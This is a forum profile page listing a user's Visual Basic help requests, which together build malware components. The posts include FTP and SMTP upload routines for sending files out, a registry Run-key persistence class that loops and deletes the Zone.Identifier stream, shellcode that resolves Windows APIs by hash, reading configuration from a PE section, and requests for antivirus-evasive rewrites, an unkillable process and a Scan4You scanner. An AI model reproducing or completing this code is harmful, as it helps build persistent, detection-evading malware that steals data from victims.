Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Swellow

#1
Programación Visual Basic / [HELP] Invoke API's
24 Noviembre 2012, 05:34 AM
Hola amigos! Can anyone please Invoke(CallAPI) those API's please?

Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, ByVal lpszRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal nService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal nAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal nFlags As Long) As Long
Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Declare Function InternetOpenUrlA Lib "wininet" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Const INTERNET_SERVICE_FTP = 1: Global sURL As String

Function FTPUpload(sFile As String, sHost As String, sUser As String, sPass As String)
    Dim hINetSession, hSession, sTemp() As String: sTemp = Split(sFile, "\")
     
    hINetSession = InternetOpen("project", 0, vbNullString, vbNullString, 0)
    hSession = InternetConnect(hINetSession, sHost, "21", sUser, sPass, INTERNET_SERVICE_FTP, 0, 0)
    If FtpPutFile(hSession, sFile, sTemp(UBound(sTemp)), 1, 0) = False Then
        Call InternetCloseHandle(hSession): Call InternetCloseHandle(hINetSession)
    End If
End Function


Option Explicit

Private Const MICROSOFT_CDO_CONFIGURATION$ = "http://schemas.microsoft.com/cdo/configuration/"

Private Declare Function GetFileAttributesW Lib "KERNEL32" (ByVal lpFileName As Long) As Long
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long

Private lngPort&, strUser$, strPass$, strFrom$, strServer$, strSubject$, strMessage$, strDestinatary$, strAttachedFile$
Private objCDO As Object, bolUseAuntentificacion As Boolean, bolSSL As Boolean

Friend Property Let Server(ByRef Value$): strServer = Value: End Property
Friend Property Let Destinatary(ByRef Value$): strDestinatary = Value: End Property
Friend Property Let From(ByRef Value$): strFrom = Value: End Property
Friend Property Let Subject(ByRef Value$): strSubject = Value: End Property
Friend Property Let Message(ByRef Value$): strMessage = Value: End Property
Friend Property Let AttachedFile(ByRef Value$): strAttachedFile = Value: End Property
Friend Property Let Port(ByVal Value&): lngPort = Value: End Property
Friend Property Let User(ByRef Value$): strUser = Value: End Property
Friend Property Let Password(ByRef Value$): strPass = Value: End Property
Friend Property Let UseAuntentificacion(ByVal Value As Boolean): bolUseAuntentificacion = Value: End Property
Friend Property Let SSL(ByVal Value As Boolean): bolSSL = Value: End Property

Friend Function SendMail() As Boolean
    On Error GoTo FatalError
   
    If InternetGetConnectedState(&H0&, &H0&) Then
        If (LenB(strPass) = 0) Or (LenB(strUser) = 0) Or (LenB(strFrom) = 0) Or (LenB(strServer) = 0) Or (LenB(strDestinatary) = 0) Or ((lngPort < 0) Or (lngPort > &HFDE8&)) Then Exit Function
        With objCDO
            With .Configuration
                .Fields(MICROSOFT_CDO_CONFIGURATION & "smtpserver") = strServer
                .Fields(MICROSOFT_CDO_CONFIGURATION & "sendusing") = &H2&
                With .Fields
                    .Item(MICROSOFT_CDO_CONFIGURATION & "smtpserverport") = lngPort
                    .Item(MICROSOFT_CDO_CONFIGURATION & "smtpauthenticate") = Abs(bolUseAuntentificacion)
                    .Item(MICROSOFT_CDO_CONFIGURATION & "smtpconnectiontimeout") = &HA&
                    If bolUseAuntentificacion Then
                        .Item(MICROSOFT_CDO_CONFIGURATION & "sendusername") = strUser
                        .Item(MICROSOFT_CDO_CONFIGURATION & "sendpassword") = strPass
                        .Item(MICROSOFT_CDO_CONFIGURATION & "smtpusessl") = bolSSL
                    End If
                    .Update
                End With
            End With
            .To = strDestinatary: .From = strFrom: .Subject = strSubject: .TextBody = strMessage
            If LenB(strAttachedFile) Then
                If GetFileAttributesW(StrPtr(strAttachedFile)) > -1 Then .AddAttachment (strAttachedFile)
            End If
            .Send
        End With
        SendMail = True
    End If
FatalError:
End Function

Private Sub Class_Initialize()
    Set objCDO = CreateObject("CDO.Message")
End Sub

Private Sub Class_Terminate()
    Set objCDO = Nothing
End Sub


Thanks A lot!
#2
Programación Visual Basic / VB6 DropBox Uploader
12 Noviembre 2012, 22:51 PM
Does anyone know if someone coded a DropBox Uploader in VB6? Or if someone would code one?
#3
Hola amigos! I wondered if anyone knew how to build a vb resource file with a file inside manually?  :xD
#4
Hey boys! I wondered if anyone would help coding an alternative Replace and Right functions as they could be/get detected. This is how I'm using them:

strNewFile = Replace(strNewFile, Right(strFilePath, 4), ".txt")

Maybe we can use other functions to do the same thing or we can code alternative functions. I've found an alternative Replace function in my HDD but it uses Mid / Left / InStr so it's not really good.

Function AltReplace(stExpression As String, stFind As String, stReplace As String) As String
Dim lnStart As Long, lnCount As Long
lnStart = Len(stFind)
AltReplace = stExpression
Do
lnCount = InStr(1, AltReplace, stFind)
If lnCount = 0 Then Exit Do
If lnStart = Len(stReplace) Then
     Mid(AltReplace, lnCount, lnStart) = stReplace
Else
     AltReplace = Left$(AltReplace, lnCount - 1) & stReplace & Mid$(AltReplace, lnCount + lnStart)
End If
Loop
End Function


It would be great if you could help coding alternative funcs using bytearray and it must not use any VB function (Len/Chr/Asc/Space are OK)

Thanks A lot !
#5
Hola amigos! Does anyone can help me porting this VB.NET code to VB6? That would be really appreciated :)

Imports Microsoft.Win32
Imports System.Runtime.InteropServices

'Credits
'Salmoneus - The rest of the code.
'JeromeMarshall - For tutorial on deleting the ADS entry.

Public Class Startup

    Private Value As String

    Private Delegate Sub C()
    Private Delegate Sub V()
    Private Delegate Sub W()
    Private Delegate Sub L()
    Private Delegate Sub CL()
    Private Delegate Sub DZ()

    Dim T As New Threading.Thread(AddressOf Persistence)

    <DllImport("kernel32", CharSet:=CharSet.Unicode, SetLastError:=True)> _
    Public Shared Function DeleteFile(ByVal name As String) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function

    Public Sub New()
  Dim DZone As New DZ(AddressOf DeleteZone)
  Try : DZone.Invoke() : Catch : End Try
  T.Start()
    End Sub

    Private Sub Persistence(ByVal RegValue As String)

  Value = RegValue

  Dim CK As C = New C(AddressOf CreateKey)
  Dim SV As V = New V(AddressOf SetValue)
  Dim WA As W = New W(AddressOf Wait)
  Dim CLO As CL = New CL(AddressOf Close)
  Dim LO As L = New L(AddressOf Looper)

  CK.Invoke()
  WA.Invoke()
  SV.Invoke()
  WA.Invoke()
  CLO.Invoke()
  LO.Invoke()

    End Sub
    Private Sub Wait()
  Dim R As New Random
  Threading.Thread.Sleep(R.Next(100, 300))
    End Sub
    Private Sub Looper()
  Persistence(Value)
    End Sub
    Private Sub CreateKey()
  If BoolCheck = True Then : RegKey.CreateSubKey(AppName) : Else : Exit Sub : End If
  Close()
    End Sub
    Private Sub SetValue()
  If BoolCheck = True Then : RegKey.SetValue(Value, AppName) : Else : Exit Sub : End If
    End Sub
    Private Sub Close()
  RegKey.Close()
    End Sub
    Private Sub DeleteZone()
  If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
    End Sub
    Private ReadOnly Property RegKey As RegistryKey
  Get
    Dim Startup As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
    Return Startup
  End Get
    End Property
    Private ReadOnly Property RegValue As String
  Get
    Dim Value As String = RegKey.GetValue(AppName)
    Return Value
  End Get
    End Property
    Private ReadOnly Property BoolCheck As Boolean
  Get
    If RegValue <> AppName Then
    Return True
    End If
    Return False
  End Get
    End Property
    Private ReadOnly Property AppName As String
  Get
    Return Application.ExecutablePath.ToString()
  End Get
    End Property
End Class


Thanks in Advance!
#6
Hola amigos!

Does anyone could help me fixing this function? It works but fails with unicode chars.... Here it is:

Public Function AltStrConv(Temp As Variant, Conversion As VbStrConv) As Variant
Dim i As Long, lLen As Long, bvHack(0) As Byte, lHackDelta As Long
Dim bArr() As Byte, sString As String

lHackDelta = VarPtr(bvHack(0))

If Conversion = vbFromUnicode Then
   sString = Temp
   lLen = Len(sString)
   ReDim bArr(0 To lLen - 1)
   For i = 0 To lLen - 1
       bvHack(VarPtr(bArr(0)) - lHackDelta + i) = bvHack(StrPtr(sString) - lHackDelta + (i * 2))
   Next i
   AltStrConv = bArr
ElseIf Conversion = vbUnicode Then
   bArr = Temp
   lLen = UBound(Temp) + 1
   sString = Space$(lLen)
   For i = 0 To lLen - 1
       bvHack(StrPtr(sString) - lHackDelta + (i * 2)) = bvHack(VarPtr(bArr(0)) - lHackDelta + i)
   Next i
   AltStrConv = sString
End If

End Function


Thanks A lot!
#7
Hello guys, I wondered if anyone knew how to make an unkillable process in VB6? Thanks a lot!
#8
Hola amigos del internet! I have worked with my friend raul a long time ago on a AV Scanner using Scan4You and I wondered if anyone would be interested modding it to work with another website, a few things are different and as I don't have any PHP/HTML knowledge, I cannot do anything... If you are interested working with me on Teamviewer or whatever you want, please get in touch by PM or MSN: orelsan [at] live [dot] com

Gracias!
#9
Hey guys, I'm trying to remove type declares on that code but I didn't success.

Here is the code:

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, th32ProcessID As Long) As Long

Public Type PROCESSENTRY32
    dwSize As Long
    cntUseage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    swFlags As Long
    szExeFile As String * 1024
End Type

Public Function Running(ByVal sFileName As String) As Boolean
    Dim hSnapshot As Long
    Dim pe32 As PROCESSENTRY32
   
    hSnapshot = CreateToolhelp32Snapshot(2, 0)
    pe32.dwSize = Len(pe32)
    Process32First hSnapshot, pe32
   
    Do While Process32Next(hSnapshot, pe32) <> 0
        If InStr(1, LCase(pe32.szExeFile), LCase(sFileName)) > 0 Then
            Running = True
        End If
    Loop
   
    CloseHandle (hSnapshot)
End Function


Would be really appreciated if anyone could remove the type declare and let me know how you did it.

Thanks!
#11
Solved!
#12
Hi! Can anyone help me removing Type declares and using MoveMem alternative in that code:

Spanish:

¡Hola! ¿Puede alguien ayudarme a eliminar el tipo de declara y el uso de alternativas MoveMem en ese código:

Option Explicit

Private Declare Function GetModuleHandle Lib "KERNEL32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long

Private Type IMAGE_DOS_HEADER
   e_magic                 As Integer
   e_cblp                  As Integer
   e_cp                    As Integer
   e_crlc                  As Integer
   e_cparhdr               As Integer
   e_minalloc              As Integer
   e_maxalloc              As Integer
   e_ss                    As Integer
   e_sp                    As Integer
   e_csum                  As Integer
   e_ip                    As Integer
   e_cs                    As Integer
   e_lfarlc                As Integer
   e_onvo                  As Integer
   e_res(0 To 3)           As Integer
   e_oemid                 As Integer
   e_oeminfo               As Integer
   e_res2(0 To 9)          As Integer
   e_lfanew                As Long
End Type

Private Type IMAGE_FILE_HEADER
   Machine                 As Integer
   NumberOfSections        As Integer
   TimeDataStamp           As Long
   PointerToSymbolTable    As Long
   NumberOfSymbols         As Long
   SizeOfOptionalHeader    As Integer
   Characteristics         As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
 VirtualAddress As Long
 isize As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER32
   Magic                   As Integer
   MajorLinkerVersion      As Byte
   MinorLinkerVersion      As Byte
   SizeOfCode              As Long
   SizeOfInitalizedData    As Long
   SizeOfUninitalizedData  As Long
   AddressOfEntryPoint     As Long
   BaseOfCode              As Long
   BaseOfData              As Long
   ImageBase               As Long
   SectionAlignment        As Long
   FileAlignment           As Long
   MajorOperatingSystemVer As Integer
   MinorOperatingSystemVer As Integer
   MajorImageVersion       As Integer
   MinorImageVersion       As Integer
   MajorSubsystemVersion   As Integer
   MinorSubsystemVersion   As Integer
   Reserved1               As Long
   SizeOfImage             As Long
   SizeOfHeaders           As Long
   CheckSum                As Long
   Subsystem               As Integer
   DllCharacteristics      As Integer
   SizeOfStackReserve      As Long
   SizeOfStackCommit       As Long
   SizeOfHeapReserve       As Long
   SizeOfHeapCommit        As Long
   LoaerFlags              As Long
   NumberOfRvaAndSizes     As Long
   DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_SECTION_HEADER
   Name As String * 8
   VirtualSize As Long
   VirtualAddress As Long
   SizeOfRawData As Long
   PointerToRawData As Long
   PointerToRelocations As Long
   PointerToLinenumbers As Long
   NumberOfRelocations As Integer
   NumberOfLinenumbers As Integer
   Characteristics As Long
End Type

Private Type IMAGE_NT_HEADERS
   Signature As Long
   FileHeader As IMAGE_FILE_HEADER
   OptionalHeader As IMAGE_OPTIONAL_HEADER32
End Type

Private Declare Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Private Function GetSettings(ByVal szTargetSectionName As String) As String
Dim MZHeader As IMAGE_DOS_HEADER
Dim PEHeader As IMAGE_NT_HEADERS
Dim Section As IMAGE_SECTION_HEADER
Dim pMe As Long, pSection As Long
Dim i As Integer
   If Len(szTargetSectionName) < 1 Then Exit Function
       If Len(szTargetSectionName) > 8 Then szTargetSectionName = Left$(szTargetSectionName, 8)
       pMe = GetModuleHandle(vbNullString)
           If pMe Then
               CopyMemory MZHeader, ByVal pMe, Len(MZHeader)
               If MZHeader.e_magic = "&H5A4D" Then
               CopyMemory PEHeader, ByVal pMe + MZHeader.e_lfanew, Len(PEHeader)
               If PEHeader.Signature = "&H4550" Then
               pSection = pMe + MZHeader.e_lfanew + 24 + PEHeader.FileHeader.SizeOfOptionalHeader
               For i = 0 To PEHeader.FileHeader.NumberOfSections - 1
                   CopyMemory Section, ByVal pSection, Len(Section)
                   If Left(Section.Name, Len(szTargetSectionName)) = szTargetSectionName Then
                       GetSettings = String(Section.VirtualSize, Chr(0))
                       CopyMemory ByVal GetSettings, ByVal pMe + Section.VirtualAddress, Section.VirtualSize
                       Exit For
                   End If
                   pSection = pSection + Len(Section)
               Next i
           End If
       End If
   End If
End Function
#13
Hello guys, can anyone help me invoking these APIs:

Private Declare Function LoadLibraryEx _
                Lib "kernel32.dll" _
                Alias "LoadLibraryExA" (ByVal lpLibFileName As String, _
                                        ByVal hFile As Long, _
                                        ByVal dwFlags As Long) As Long

Private Declare Function EnumResourceNames _
                Lib "kernel32.dll" _
                Alias "EnumResourceNamesA" (ByVal hModule As Long, _
                                            ByVal lpType As Long, _
                                            ByVal lpEnumFunc As Long, _
                                            ByVal lParam As Long) As Boolean



hModule = LoadLibraryEx(szFileName, 0, LOAD_LIBRARY_AS_DATAFILE)


Do While EnumResourceNames(hModule, lResourceType, AddressOf EnumResNameProcSplit, 0) = True
Loop


Thanks a lot!
#14
Programación Visual Basic / [HELP]Invoke by Hash
11 Diciembre 2011, 18:30 PM
Hola amigos!

I'm trying to use the CallAPIByHash by Karcrack but I can't get it working... Can anyone tell me what's wrong in my code? I've used Karcrack's Hash Generator to generate the hashes.

Public Function GetResDataBytes(ByVal ResType As Long, ByVal ResName As Long) As Byte()
   Dim hRsrc As Long
   Dim hGlobal As Long
   Dim lpData As Long
   Dim Size As Long
   Dim hMod As Long
   Dim B() As Byte

   hMod = App.hInstance
   
   'FindResourceW,&H3BD09A6B
   hRsrc = Invoke(("KERNEL32"), (&H3BD09A6B), hMod, ResName, ResType)

   If hRsrc > 0 Then
       'LoadResource,&H934E1F7B
       hGlobal = Invoke(("KERNEL32"), (&H934E1F7B), hMod, hRsrc)
       'LockResource,&H9A4E2F7B
       lpData = Invoke(("KERNEL32"), (&H9A4E2F7B), hGlobal)
       'SizeofResource,&H3F2A9609
       Size = Invoke(("KERNEL32"), (&H3F2A9609), hMod, hRsrc)
       If Size > 0 Then
           ReDim B(0 To Size) As Byte
           'RtlMoveMemory,&HCF14E85B
           Invoke ("KERNEL32"), (&HCF14E85B), VarPtr(B(0)), lpData, Size
           'FreeResource,&H54423F7C
           Invoke ("KERNEL32"), (&H54423F7C), hGlobal

           GetResDataBytes = B()
       End If
       'FreeLibrary,&H4DC9D5A0
       Invoke ("KERNEL32"), (&H4DC9D5A0), hMod
   End If
End Function


CallAPIByHash Code:

Option Explicit
Private Type DWORD_L
    D1      As Long
End Type

Private Type DWORD_B
    B1      As Byte:    B2      As Byte:   B3      As Byte:    B4      As Byte
End Type

Public Declare Function CWPW Lib "user32" Alias "CallWindowProcW" (ByVal Address As Any, Optional ByVal Param1 As Long, Optional ByVal Param2 As Long, Optional ByVal Param3 As Long, Optional ByVal Param4 As Long) As Long

Private bInitialized_Inv        As Boolean
Private ASM_gAPIPTR(0 To 170)   As Byte
Private ASM_cCODE(0 To 255)     As Byte

Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                   As Variant
    Dim bsTmp                   As DWORD_B
    Dim lAPI                    As Long
    Dim i                       As Long
    Dim w                       As Long

    If Not bInitialized_Inv Then
        For Each vItem In Array(&HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
                                &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3)
            ASM_gAPIPTR(i) = CByte(vItem)
            i = i + 1
        Next vItem
        i = 0
        bInitialized_Inv = True
    End If

    lAPI = CWPW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)

    If lAPI Then
        For w = UBound(vParams) To LBound(vParams) Step -1
            vItem = vParams(w)
            bsTmp = SliceLong(CLng(vItem))
            '// PUSH ADDR
            ASM_cCODE(i) = &H68:            i = i + 1
            ASM_cCODE(i) = bsTmp.B1:        i = i + 1
            ASM_cCODE(i) = bsTmp.B2:        i = i + 1
            ASM_cCODE(i) = bsTmp.B3:        i = i + 1
            ASM_cCODE(i) = bsTmp.B4:        i = i + 1
        Next w

        bsTmp = SliceLong(lAPI)
        '// MOV EAX, ADDR
        ASM_cCODE(i) = &HB8:                i = i + 1
        ASM_cCODE(i) = bsTmp.B1:            i = i + 1
        ASM_cCODE(i) = bsTmp.B2:            i = i + 1
        ASM_cCODE(i) = bsTmp.B3:            i = i + 1
        ASM_cCODE(i) = bsTmp.B4:            i = i + 1
        '// CALL EAX
        ASM_cCODE(i) = &HFF:                i = i + 1
        ASM_cCODE(i) = &HD0:                i = i + 1
        '// RET
        ASM_cCODE(i) = &HC3:                i = i + 1

        Invoke = CWPW(VarPtr(ASM_cCODE(0)))
    Else
        Invoke = -1
        'Err.Raise -1, , "Bad Hash or wrong DLL"
    End If
End Function

Private Function SliceLong(ByVal lLong As Long) As DWORD_B
    Dim tL                      As DWORD_L

    tL.D1 = lLong
    LSet SliceLong = tL
End Function


Gracias ;D
#15
As title say, I'm searching for a working Get Default Browser Path wich works on every OS.

Thanks :)
#16
I've tried almost everything to Invoke that API and I always failed...

I suceed with InternetOpen/InternetOpelUrl/InternetCloseHandle but not that one :/

Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal dwNumberOfBytesToRead As Long, lNumberOfBytesRead As Long) As Integer

        bDoLoop = InternetReadFile(hInternetOpen, strArray, Len(strArray), lNumberOfBytes)


Can anyone help please?